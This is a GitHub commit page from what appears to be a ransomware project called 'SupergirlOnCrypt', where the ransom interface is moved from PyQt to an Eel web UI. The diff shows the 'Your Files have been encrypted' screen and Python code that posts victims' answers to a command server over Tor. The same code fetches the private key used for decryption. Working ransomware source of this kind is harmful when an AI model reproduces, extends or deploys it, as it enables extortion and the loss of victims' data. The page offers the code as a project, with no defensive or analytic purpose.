-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Replaced PyQT with Eel -> Reduced overall Binary size to ~30mb
- Loading branch information
1 parent
84d0cde
commit 3ea5bfc
Showing
28 changed files
with
330 additions
and
141 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,120 +1,87 @@ | ||
import json | ||
import base64 | ||
import collections | ||
from PyQt5 import QtCore | ||
from PyQt5.QtCore import QSize | ||
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont | ||
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit | ||
from Helper import Helper | ||
from TorManager import TorManager | ||
import Config | ||
import DecryptThread | ||
import requests | ||
import eel | ||
|
||
uuid = "" | ||
|
||
def setup(): | ||
eel.init('web') | ||
|
||
class GUI(QWidget): | ||
def __init__(self, uuid): | ||
self.uuid = uuid | ||
QWidget.__init__(self) | ||
self.headerFont = QFont("Times", 22, QFont.AllUppercase) | ||
self.setup() | ||
def show(): | ||
web_app_options = { | ||
'mode': "chrome-app", | ||
'port': 1337, | ||
'chromeFlags': [" --incognito"] | ||
} | ||
try: | ||
eel.start('ui.html', size=(1152,648), options=web_app_options) | ||
except EnvironmentError: | ||
web_app_options = { | ||
'mode': "l33t", | ||
'port': 1337 | ||
} | ||
eel.start('ui.html', size=(1152,648), options=web_app_options) | ||
|
||
def setup(self): | ||
self.resize(800, 600) | ||
self.setWindowTitle("SupergirlOnCrypt") | ||
self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint) | ||
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint) | ||
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint) | ||
self.setbg() | ||
self.placeWidgets() | ||
self.show() | ||
@eel.expose # Expose this function to Javascript | ||
def shutdown(): | ||
h = Helper() | ||
h.safe_exit() | ||
|
||
def setbg(self): | ||
h = Helper() | ||
oImage = QImage(h.path("res/gui_bg.jpg")) | ||
sImage = oImage.scaled(QSize(800, 600)) # resize Image to widgets size | ||
palette = QPalette() | ||
palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole | ||
self.setPalette(palette) | ||
@eel.expose | ||
def getQuestions(): | ||
h = Helper() | ||
l = [] | ||
with open(h.path('res/questions.txt'), 'r') as f: | ||
for q in f: | ||
l.append(q) | ||
return l | ||
|
||
def placeWidgets(self): | ||
#heading | ||
self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self) | ||
self.lbHeader.setFont(self.headerFont) | ||
self.lbHeader.setStyleSheet("QLabel { color: white;}") | ||
self.lbHeader.setGeometry(10, 15, 500, 120) | ||
@eel.expose | ||
def checkQuestions(answers): | ||
q = [] | ||
for i in range(len(answers)): | ||
r = answers[i] | ||
tmp = [getQuestions()[i].replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))] | ||
q.append(tmp) | ||
return sendAnswers(q) | ||
|
||
self.infoText = QTextEdit(self) | ||
self.infoText.setReadOnly(True) | ||
self.infoText.setGeometry(205, 150, 550, 360) | ||
h = Helper() | ||
with open(h.path('res/info.html'), 'r') as encrypt_info_file: | ||
encrypt_text = encrypt_info_file.read().replace('\n', '') | ||
self.infoText.setHtml(encrypt_text) | ||
def sendAnswers(q): | ||
tor = TorManager() | ||
r = tor.getSession() | ||
try: | ||
data = collections.OrderedDict() | ||
for i in range(0, len(q)): | ||
data[q[i][0]] = q[i][1].decode('utf-8') | ||
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} | ||
req = r.post(Config.API_URL + "/answer/" + uuid, data=json.dumps(data), headers=headers) | ||
data = json.loads(req.text) | ||
if data['STATUS'] == "WRONG_ANSWERS": | ||
return False | ||
elif data['STATUS'] == "OK": | ||
return True | ||
except requests.exceptions.RequestException: | ||
return False | ||
|
||
self.progressBar = QProgressBar(self) | ||
self.progressBar.setRange(0, 0) | ||
self.progressBar.setGeometry(20, 550, 500, 24) | ||
self.progressBar.hide() | ||
@eel.expose | ||
def decryptData(): | ||
tor = TorManager() | ||
r = tor.getSession() | ||
try: | ||
req = r.get(Config.API_URL + "/decrypt/" + uuid) | ||
data = json.loads(req.text) | ||
if data['STATUS'] == "FAIL": | ||
eel.decrypt_fail() | ||
elif data['STATUS'] == "SUCCESS": | ||
privkey = base64.b64decode(data['priv_key']).decode('utf-8') | ||
decryptThread = DecryptThread.DecryptThread(privkey, eel) | ||
decryptThread.start() | ||
decryptThread.join() | ||
except requests.exceptions.RequestException: | ||
eel.decrypt_fail() | ||
|
||
#button decrypt | ||
self.btnDecrypt = QPushButton("Decrypt", self) | ||
self.btnDecrypt.move(650, 550) | ||
self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} " | ||
"QPushButton:hover {color:green;}") | ||
self.btnDecrypt.clicked.connect(self.askQuestions) | ||
|
||
def askQuestion(self, q): | ||
text, okPressed = QInputDialog.getText(self, "Supergirl", q, QLineEdit.Normal, "") | ||
if okPressed and text != '': | ||
return text | ||
else: | ||
return "" | ||
|
||
|
||
def askQuestions(self): | ||
h = Helper() | ||
questions = [] | ||
with open(h.path('res/questions.txt'), 'r') as f: | ||
for question in f: | ||
r = self.askQuestion(question) | ||
tmp = [question.replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))] | ||
questions.append(tmp) | ||
print(questions) | ||
self.sendAnswers(questions) | ||
|
||
def sendAnswers(self, q): | ||
tor = TorManager() | ||
r = tor.getSession() | ||
try: | ||
data = collections.OrderedDict() | ||
for i in range(0, len(q)): | ||
data[q[i][0]] = q[i][1].decode('utf-8') | ||
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} | ||
req = r.post(Config.API_URL + "/answer/" + self.uuid, data=json.dumps(data), headers=headers) | ||
data = json.loads(req.text) | ||
if data['STATUS'] == "WRONG_ANSWERS": | ||
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nAt least one Answer was wrong", QMessageBox.Ok) | ||
elif data['STATUS'] == "OK": | ||
self.decryptData() | ||
except requests.exceptions.RequestException: | ||
QMessageBox.question(self, "Error", "You are fucked...", | ||
QMessageBox.Ok) | ||
|
||
def decryptData(self): | ||
tor = TorManager() | ||
r = tor.getSession() | ||
try: | ||
req = r.get(Config.API_URL + "/decrypt/" + self.uuid) | ||
data = json.loads(req.text) | ||
if data['STATUS'] == "FAIL": | ||
QMessageBox.question(self, "Still locked...", "Decryption Failed!", QMessageBox.Ok) | ||
elif data['STATUS'] == "SUCCESS": | ||
self.progressBar.show() | ||
privkey = base64.b64decode(data['priv_key']).decode('utf-8') | ||
self.decryptThread = DecryptThread.DecryptThread(privkey) | ||
self.decryptThread.start() | ||
except requests.exceptions.RequestException: | ||
QMessageBox.question(self, "Error", "You are fucked...", | ||
QMessageBox.Ok) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file was deleted.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
body { | ||
padding:0; | ||
margin:0; | ||
width:100%; | ||
height:100%; | ||
background: url('../img/bg.jpg') top center no-repeat; | ||
background-size:cover; | ||
} | ||
|
||
.notice { | ||
margin:160px auto; | ||
max-width:700px; | ||
width:100%; | ||
height:100%; | ||
text-align:left; | ||
} | ||
|
||
#notice_btn_area #left { | ||
float:left; | ||
} | ||
|
||
#notice_btn_area #right { | ||
float:right; | ||
} | ||
|
||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.